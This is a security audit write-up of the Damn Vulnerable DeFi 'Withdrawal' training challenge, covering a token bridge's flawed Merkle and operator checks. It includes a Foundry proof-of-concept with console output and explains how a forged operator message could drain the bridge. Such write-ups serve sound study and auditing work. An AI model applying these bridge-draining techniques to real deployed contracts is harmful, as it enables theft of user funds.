Damn Vulnerable DeFi, Withdrawal Security Review

Prepared by: Khant Wai Yan Aung (SnavOhBurmaa)

Lead Auditors: Khant Wai Yan Aung (SnavOhBurmaa)

date: August 28, 2026

Table of contents

See table

About Me

I'm a smart contract auditor focus on EVM and Solidity protocols. This review was carried out as part of independent security practice on the Damn Vulnerable DeFi training set.

Disclaimer

I made every effort to find as many vulnerabilities as possible

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The project is Damn Vulnerable DeFi v4, the Withdrawal challenge. The reviewed version use `pragma solidity =0.8.25` (DVD v4). The reviewer is Khant Wai Yan Aung (SnavOhBurmaa) and the date is August 28, 2026. Tools used were manual review and Foundry (forge) for the PoC, Slither, Aderyn.

Scope

```
src/withdrawal/
  L1Gateway.sol
  L1Forwarder.sol
  TokenBridge.sol
  L2Handler.sol        (reference only, not deployed)
  L2MessageStore.sol   (reference only, not deployed)
```

Protocol Summary

Withdrawal is a token bridge that moves Damn Valuable Tokens from an L2 back to L1. The L1 side holds one million DVT.

A withdrawal starts on L2. `L2Handler.sendMessage` wraps the user request as an `L1Forwarder.forwardMessage` call and hands it to `L2MessageStore.store`, which emits a log. Off chain the bridge owner collects these logs, builds a Merkle tree over them, and posts the tree root on the L1 gateway.

On L1 the flow has three contracts. `L1Gateway.sol` is the entry point. Anyone can call `finalizeWithdrawal` once the 7 day delay has passed and they present a valid Merkle proof against the posted root. Operators can finalize without a proof. `L1Forwarder.sol` relays the finalized message, keeps a record of successful and failed messages, and exposes the L2 sender through `getSender`. `TokenBridge.sol` holds the DVT and pays out through `executeTokenWithdrawal`, which only trusts calls that come from the forwarder.

In the challenge setup the bridge holds 1,000,000 DVT and the player is granted the operator role. The player is given the logs of four withdrawals that can be finalized after the delay. One of the four is malicious: it tries to pull 999,000 DVT out to an unknown address. The goal is to finalize all four, stop the malicious one from moving funds, and keep the bridge almost full.

Roles

The owner sets the withdrawals root and owns the gateway and the forwarder. The operator is a trusted account that can finalize withdrawals without a Merkle proof. A normal user can finalize any withdrawal after the delay by presenting a proof against the root. The forwarder is the only address the token bridge will accept a payout call from.

Executive Summary

The bridge trusts two things it should not. It trusts a signed root that already carries a malicious 999,000 DVT withdrawal, and it trusts operators so completely that they can finalize any message with no proof at all. On top of that the gateway marks a withdrawal finalized even when its payout call fails.

These combine into a bridge that can be emptied. Anyone can finalize the malicious leaf after the delay and take almost the whole balance, and any operator can forge a withdrawal for the full balance in one call. The same

fire and forget behavior is what lets a defender neutralize the malicious leaf by making its payout fail while still marking it finalized, which is how the challenge is solved.

Issues found

Severity	Number of issues found
High	2
Medium	1
Low	4
Total	7

ID	Title	Severity
[H-1]	The published root contains a hidden 999,000 DVT withdrawal that anyone can execute	High
[H-2]	Operator role skips proof checking, so an operator can forge any withdrawal	High
[M-1]	A withdrawal is marked finalized even when its payout call fails	Medium
[L-1]	Token transfer return value is never checked	Low
[L-2]	Empty require statements give no error reason	Low
[L-3]	Missing zero address check when setting the L2 handler	Low
[L-4]	State changes emit no events	Low

Findings

High

[H-1] The published root contains a hidden 999,000 DVT withdrawal that anyone can execute

Description:

The owner set the withdrawals root, and one of the four leaves in that root is not a normal 10 DVT withdrawal. It calls `executeTokenWithdrawal` for 999,000 DVT to an address nobody recognizes.

```
withdrawal 0  ->  10 DVT      to 0x328809...
withdrawal 1  ->  10 DVT      to 0x1d96f2...
withdrawal 2  ->  999,000 DVT to 0xea475d...   # the bad one
withdrawal 3  ->  10 DVT      to 0x671d2b...
```

`finalizeWithdrawal` only checks the delay and the proof. Once the leaf is in the root and 7 days have passed, anyone can call it. There is no second check on the amount and no way to remove a leaf from a root that is already set.

```
// src/withdrawal/L1Gateway.sol:34-49
function finalizeWithdrawal(...) external {
    if (timestamp + DELAY > block.timestamp) revert
EarlyWithdrawal();
    bytes32 leaf = keccak256(abi.encode(nonce, l2Sender, target,
timestamp, message));
    bool isOperator = hasAnyRole(msg.sender, OPERATOR_ROLE);
    if (!isOperator) {
        if (MerkleProof.verify(proof, root, leaf)) { ... } else
{ revert InvalidProof(); }
    }
    ...
}
```

Impact:

Likelihood `High`

Risk `High`

Proof of Concept:

The plan uses the operator power described in H-2 to save the bridge. First shrink `totalDeposits` with a harmless bridge to bridge transfer so the 999,000 DVT payout underflows and reverts, then finalize all four leaves. Leaf 2 gets marked finalized but moves nothing, and the three real 10 DVT withdrawals go through.

```
function test_withdrawal() public {
    vm.startPrank(player, player);
    vm.warp(START_TIMESTAMP + 8 days);

    console.log("BEFORE");
    console.log("bridge balance :",
token.balanceOf(address(l1TokenBridge)) / 1e18);
    console.log("totalDeposits  :",
l1TokenBridge.totalDeposits() / 1e18);
    console.log("bad withdrawal :", amounts[2] / 1e18, "DVT to
attacker");
    console.log("attacker recv  :",
token.balanceOf(receivers[2]) / 1e18);

    // 1. operator, no proof needed. Move totalDeposits down with
a bridge to bridge
```

```
    // transfer so the 999,000 DVT payout will underflow and fail,
but no tokens leave.
    bytes memory poison = _msg(1000, address(l1TokenBridge),
999_000e18);
    l1Gateway.finalizeWithdrawal(1000, l2Handler,
address(l1Forwarder), START_TIMESTAMP, poison, new bytes32[](0));

    console.log("AFTER POISON");
    console.log("bridge balance :",
token.balanceOf(address(l1TokenBridge)) / 1e18);
    console.log("totalDeposits  :",
l1TokenBridge.totalDeposits() / 1e18);

    // 2. finalize all four given withdrawals. Leaf 2 now reverts
inside and moves nothing.
    for (uint256 i = 0; i < 4; i++) {
        l1Gateway.finalizeWithdrawal(nonces[i], l2Handler,
address(l1Forwarder), timestamps[i], messages[i], new bytes32[]
(0));
        console.log("finalized leaf :", i);
    }
    vm.stopPrank();

    console.log("AFTER");
    console.log("bridge balance :",
token.balanceOf(address(l1TokenBridge)) / 1e18);
    console.log("totalDeposits  :",
l1TokenBridge.totalDeposits() / 1e18);
    console.log("finalized count:", l1Gateway.counter());
    console.log("attacker recv  :",
token.balanceOf(receivers[2]) / 1e18);
}
```

Console output from test:

```
[PASS] test_withdrawal() (gas: 584740)
Logs:
  BEFORE
  bridge balance : 1000000
  totalDeposits  : 1000000
  bad withdrawal : 999000 DVT to attacker
  attacker recv  : 0
  AFTER POISON
  bridge balance : 1000000
  totalDeposits  : 1000
  finalized leaf : 0
  finalized leaf : 1
  finalized leaf : 2
  finalized leaf : 3
  AFTER
  bridge balance : 999970
  totalDeposits  : 970
  finalized count: 5
  attacker recv  : 0
```

```
Suite result: ok. 1 passed; 0 failed; 0 skipped
```

The bridge keeps 999,970 DVT, all four leaves are finalized, and the bad receiver gets nothing. Without the defense, a plain call to finalize leaf 2 sends 999,000 DVT straight to `0xea475d...`.

Recommended Mitigation:

Never sign a root before every leaf is checked off chain, so the owner does not publish a tree that holds an unknown large transfer. Add a per withdrawal cap or a pause switch so a single leaf cannot move most of the balance, and give the owner a way to replace or void a root before the delay ends so a bad batch can be pulled back.

[H-2] Operator role skips proof checking, so an operator can forge any withdrawal

Description:

Inside `finalizeWithdrawal` the proof is only checked when the caller is not an operator.

```
// src/withdrawal/L1Gateway.sol:46-52
bool isOperator = hasAnyRole(msg.sender, OPERATOR_ROLE);
if (!isOperator) {
    if (MerkleProof.verify(proof, root, leaf)) {
        emit ValidProof(proof, root, leaf);
    } else {
        revert InvalidProof();
    }
}
```

An operator can pass any `nonce`, `l2Sender`, `target`, `timestamp`, and `message` it likes. Nothing ties the call back to a real L2 event or to the root. So an operator can build a message that runs `executeTokenWithdrawal(attacker, 1_000_000e18)` and drain the bridge in one call. The same power is what lets us defend in H-1, but a bad operator can just as easily empty the bridge.

Impact:

Likelihood `Medium`

Risk `High`

Proof of Concept:

The poison step in the H-1 test already proves it. The player is only an operator, yet it finalizes a made up message (`nonce = 1000`, no proof) and the gateway runs it against the bridge. Swap the self transfer for `executeTokenWithdrawal(attacker, balance)` and the bridge is drained.

Recommended Mitigation:

Require a valid Merkle proof for everyone, operators included, so finalizing always proves the leaf is in the root. If operators are meant to have a fast path, give it its own limits such as a cap per call and a delay, instead of full trust.

Medium

[M-1] A withdrawal is marked finalized even when its payout call fails

Description:

The gateway sets `finalizedWithdrawals[leaf] = true` and bumps `counter` before the external call, and it never checks whether the call worked.

```
// src/withdrawal/L1Gateway.sol:57-68
finalizedWithdrawals[leaf] = true;
counter++;
xSender = l2Sender;
bool success;
assembly {
    success := call(gas(), target, 0, add(message, 0x20),
mload(message), 0, 0)
}
xSender = address(0xBADBEEF);
emit FinalizedWithdrawal(leaf, success, isOperator);
```

This is exactly why the H-1 defense works, but it is also a bug for honest users. If a real withdrawal fails for any reason, gas, a temporary revert, a token strange behavior, the leaf is burned forever. The gateway reverts with `AlreadyFinalized` on a retry, so a valid user can lose their funds even though the tokens never moved.

Impact:

Likelihood `Medium`

Risk `Medium`

Proof of Concept:

Same run as H-1. `finalized count` is 5 and leaf 2 shows as finalized, yet leaf 2 sent zero tokens. The gateway treats a payout that moved nothing as complete.

Recommended Mitigation:

Require the call to succeed, or only mark the leaf finalized when `success` is true.

```
- finalizedWithdrawals[leaf] = true;
- counter++;
- xSender = l2Sender;
- bool success;
- assembly { success := call(gas(), target, 0, add(message, 0x20),
        mload(message), 0, 0) }
- xSender = address(0xBADBEEF);
+ xSender = l2Sender;
+ bool success;
+ assembly { success := call(gas(), target, 0, add(message, 0x20),
        mload(message), 0, 0) }
+ xSender = address(0xBADBEEF);
+ require(success, "withdrawal call failed");
+ finalizedWithdrawals[leaf] = true;
+ counter++;
```

Low

[L-1] Token transfer return value is never checked

Description:

`executeTokenWithdrawal` ignores what `token.transfer` returns.

```
// src/withdrawal/TokenBridge.sol:23-27
function executeTokenWithdrawal(address receiver, uint256 amount)
external {
    if (msg.sender != address(l1Forwarder) ||
l1Forwarder.getSender() == otherBridge) revert Unauthorized();
    totalDeposits -= amount;
    token.transfer(receiver, amount);
}
```

Slither warned this as `unchecked-transfer`. DVT reverts on failure so it is safe now, but if the token ever returns false instead of reverting, `totalDeposits` would drop while no tokens leave.

Impact:

Likelihood `Low`

Risk `Low`

Proof of Concept:

N/A

Recommended Mitigation:

```
- token.transfer(receiver, amount);
+ require(token.transfer(receiver, amount), "transfer failed");
```

[L-2] Empty require statements give no error reason

Description:

The forwarder uses two bare requires with no message.

```
// src/withdrawal/L1Forwarder.sol:46-49
if (msg.sender == address(gateway) && gateway.xSender() ==
l2Handler) {
    require(!failedMessages[messageId]);
} else {
    require(failedMessages[messageId]);
}
```

Aderyn warned these as empty `require`. A failed call gives no clue why it reverted, which makes both debugging and integration harder.

Impact:

Likelihood `Low`

Risk `Low`

Proof of Concept:

N/A

Recommended Mitigation:

Use custom errors, for example `require(!failedMessages[messageId], AlreadyFailed(messageId))`.

[L-3] Missing zero address check when setting the L2 handler

Description:

```
// src/withdrawal/L1Forwarder.sol:33-35
function setL2Handler(address _l2Handler) external onlyOwner {
```

```
    l2Handler = _l2Handler;
}
```

Setting `l2Handler` to the zero address by mistake would break the fresh delivery path, since it compares `gateway.xSender()` to `l2Handler`. The same note applies to `otherBridge` in the `TokenBridge` constructor.

Impact:

Likelihood `Low`

Risk `Low`

Proof of Concept:

N/A

Recommended Mitigation:

Add `if (_l2Handler == address(0)) revert(...)` before the assignment.

[L-4] State changes emit no events

Description:

`setL2Handler`, `L1Gateway.setRoot`, and the constructors change important state without emitting an event. Off chain systems cannot follow a root change or a handler change cleanly.

Impact:

Likelihood `Low`

Risk `Low`

Proof of Concept:

N/A

Recommended Mitigation:

Emit an event on each of these, for example `RootUpdated(oldRoot, newRoot)` in `setRoot`.